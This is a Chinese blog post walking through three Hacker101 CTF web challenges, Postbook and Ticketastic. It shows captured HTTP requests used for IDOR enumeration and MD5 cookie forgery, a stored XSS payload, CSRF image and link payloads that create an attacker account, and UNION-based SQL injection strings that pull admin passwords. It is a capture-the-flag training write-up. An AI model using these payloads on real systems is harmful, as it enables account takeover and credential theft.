玩转Hacker101 CTF(三)

阅读量    89892 | 评论 7   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

hi,大家好,我又来啦,接着第一篇第二篇的进度,这次为大家带来Hacker101 CTF的第七、八、九题:

废话不多说,上题!

 

第七题Postbook

这道题的难度定位为Easy,不是很难,但是Flag却有7个,涉及到多个漏洞,想要找全还是要费些功夫的。

打开主页:

看来是个类似留言板的web应用,要留言需要登陆,先用test:test注册个用户试试,

注册成功,回到登入界面,进入自己的主页:

这个页面有点多,我们需要细心观察,留意一下几点:

1.url地址为:http://xxxx/xxx/index.php?page=home.php,这里可能有文件包含漏洞
2.上方导航栏的几个功能链接,需要一一测试
3.下方的Create post用于创建文本留言,注意For my own eyes only选项应该是控制创建的留言是否对所有人可见
4.下方出现了admin用户
5.最下方出现了user用户以及其公开的留言链接

我们先点击最下方的留言链接进去看看:

注意这里的url:http://xxxx/xxx/index.php?page=view.php?id=3

依照经验,这种自写的留言板系统往往会存在越权访问,所以刷新这个页面,用burpsuite抓下包,

GET /xxx/index.php?page=view.php&id=§2§ HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xx/index.php?page=view.php&id=3
Connection: close
Cookie: id=e4da3b7fbbce2345d7772b0674a318d5;
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

送到Intruder模块爆破一下id,将结果按Length排序:

注意几个长度与众不同的Response包,在其中找到两个flag:

为什么一下有两个flag呢,第一个id链接到了admin用户的私有留言上,考察越权访问,

另一个id比较大,应该是考察参数枚举吧!

这里我们既然可以访问到其他用户的留言,那么能不能编辑其他用户的留言呢?我们来尝试一下,首先点击导航栏的Write a new post,用当前用户创建一条留言:

点击Create Post创建留言:

点击edit链接,编辑:

注意这里的url:http://xxxx/xxx/index.php?page=edit.php?id=13
我们修改其中的id为刚刚爆破出flag的id,例如2,
http://xxxx/xxx/index.php?page=edit.php?id=2

看,本来属于admin用户的私人留言,现在我们也可以编辑了!

点击Save post,看,系统为了“奖励我们编辑了他人的留言”,给了我们一个flag:

接着试试能不能删除他人的留言呢?回到下面这个页面:

点击delete链接,注意将包抓下来:

GET /xxxx/index.php?page=delete.php&id=aab3238922bcc25a6f606eb525ffdc56 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xxx/index.php?page=view.php&success=1&id=14&message=
Connection: close
Cookie: id=e4da3b7fbbce2345d7772b0674a318d5
Upgrade-Insecure-Requests: 1

注意与访问留言和编辑留言不同的是,删除链接url中的id是一个32的字符串,aab3238922bcc25a6f606eb525ffdc56,猜想这是一个hash值,把它放到md5解密网站跑了一下:

是个数字,由于hash不能逆向解密,所以我猜想删除留言功能有着以下处理逻辑:

...
$result = $db->execute("select id from posts);
foreach($result['id'] as id){
    if($_GET['id'] === id){
        $db->execute("delete from posts where id=$_GET['id']);
    }
}
...

那么我们如果想要删除id=2的留言(这条留言不属于我们的当前用户),只需要修改刚刚抓下的包中的id值为md5("2"),即c81e728d9d4c2f636f067f89cc14862c,再次发包即可:

看,又拿到一个flag!

至此,我们通过伪造信息编辑、修改、删除其他用户的post已经拿到了3个flag,想想还有什么,对!还有伪造他人进行留言,我们抓下创建post的包:

POST /xxx/index.php?page=create.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xxx/index.php?page=create.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Connection: close
Cookie: id=e4da3b7fbbce2345d7772b0674a318d5
Upgrade-Insecure-Requests: 1

title=abc&body=abc&user_id=5

如果正常发包,会为user_id=5的用户添加一条留言,那么如果修改user_id=1呢,修改完毕后再次发包:

又出现了一个flag。

继续,现在我们已经能够完全伪造另一个用户的所有动作了,那么我们能否通过某种方式伪造成其他用户登陆呢?一般来说服务器识别用户的方式是通过cookie,获取其他用户cookie的方式主要有两种:一是通过xss漏洞接受其他用户的cookie;二是破解cookie的构造方式伪造其他用户的cookie,例如:假如普通用户test的Cookie为:Cookie :"user_name":"test",那么我们有理由相信,admin用户的Cookie应该为:Cookie :"user_name":"admin",当然实际情况不会那么简单,往往还涉及到许多的密码学知识。

回到这道题上来,看一下当前用户的Cookie:

Cookie: id=e4da3b7fbbce2345d7772b0674a318d5
e4da3b7fbbce2345d7772b0674a318d5貌似又是一个hash值,解密一下:

结果是5,猜测是代表用户id为5,那么如果想要伪造用户id为1的cookie,只需改为md5(“1”),即c4ca4238a0b923820dcc509a6f75849b,我们修改一下火狐的cookie:

然后刷新一下页面,访问http://xxxx/xxx/index.php
果然出现了flag。

好的,现在一共拿到了6个flag,第7个flag我想了很久,sql注入、XSS、源码泄露等套路都试过了,还是没有找到,无奈之下只好查看提示:

WTF!这也行,算我输!抓下登录包,

送到Intruder,用弱口令字典爆破,一会就出了结果:

用user:password登入,拿到最后的flag

 

第八题(Ticketastic: Demo Instance)&第九题(Ticketastic: Live Instance)

第八题和第九题其实是一题,第八题没有flag,是第九题的web应用的测试版本,它的存在是为了给第九题以提示,第九题才是真正的生产环境。我们先打开第八题来看一下:

从功能和内容上判断这是一个信息反馈系统,任何人都可以提交Ticket,但只有管理员才能登陆查看所有的Ticket,并且告知我们admin用户的密码是admin,我们提交一个Ticket试试:

回到主页,用给我们的admin账号登陆:

可以看到我们刚刚提交的tikcet已经出现这里了,同时注意到这里还有创建用户的链接。

点开test是我们提交的ticket内容:

在这个页面我们有两点内容值得我们注意:

1.url:http://xxxx/xxx/ticket?id=2,我们试试访问http://xxxx/xxx/ticket?id=2-1,显示:

这与访问http://xxxx/xxx/ticket?id=1的返回页面结果是一样的,说明这里可能有sql注入。

2.很显然,我们提交的内容被保存在了数据库里,并且在admin用户的页面呈现了出来,如果我们将ticket的内容换成XSS或者CSRF的payload,会不会让admin用户中招呢?我们来试一试,回到主页,提交一个ticket,title和body都填<img src=x onerror=alert(1)>,登入admin用户,刚登入就弹出了框框:

Good!既然这里可以XSS,我们可以怎样利用呢?一种思路是架个服务器接收admin用户的cookie(如果抓个包,可以看到cookie并没有设置httponly),然而这里的靶场不能外联,所以我放弃了这条思路,还有其他办法吗?CSRF有什么可以利用的点吗?注意到上面的Create a new user链接,我们能否结合这个功能来创建我们的用户呢?我们首先用admin用户的面板创建用户test:test,抓下包:

GET /xxx/newUser?username=test&password=test&password2=test HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xxx/newUser
Connection: close
Cookie: session_level7a=eyJ1c2VyIjoiYWRtaW4ifQ.D-pwWw.xIfxmh00wlGwcQUBFWC92kk6gTM
Upgrade-Insecure-Requests: 1

记下url请求:http://xxxx/xxx/newUser?username=root&password=123456&password2=123456,回到主页再次提交一个ticket,这次title和body都填:
<img src=newUser?username=root&password=123456&password2=123456>

然后再次登入admin用户:

查看最下方那张无法正常显示的图片:

payload正常,应该奏效了,回到登入页面,用root:123456成功登入!

好吧,测试版本系统的漏洞分析的差不多了,来研究一下上线版本吧!打开第九题:

界面和功能几乎是一样的,依然可以提交ticket和登入查看ticket,不过这次admin的密码改了,我们无法登入触发CSRF了,考虑了一下这边可能有机器人访问ticket页面,所以依旧采用刚刚的payload,提交一个ticket,title和body依然填
<img src='newUser?username=root&password=123456&password2=123456'>,提交,然后回到登入页面,用root:123456登入,满怀希望看见Flag,然而:

没关系,换个要点击的payload,也许这个机器人会主动点击呢?

<a href="http://localhost/newUser?username=root&password=123456&password2=123456">haha</a>
尝试登陆:

成功!真是个奇怪的机器人!点击Flag Won't Work,拿到第一个Flag,注意下面的才是真Flag!

接下来,别忘了这里还有个sql注入漏洞,不过很奇怪,sqlmap居然跑不出来(如果有那位童鞋跑出来了可以和我说下),所以只好手动注入,下面是过程:

http://xx.xx.xx.xx/xxx/ticket?id=1 order by 3 -- //判断为3列
http://xx.xx.xx.xx/xxx/ticker?id=10 union select id,username,password from users where username='admin' -- //表名和列名都是猜的。゚(゚´ω`゚)゚。很奇怪information_schema中居然查不到表名

结果显示,admin用户的密码就是第二个Flag:

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多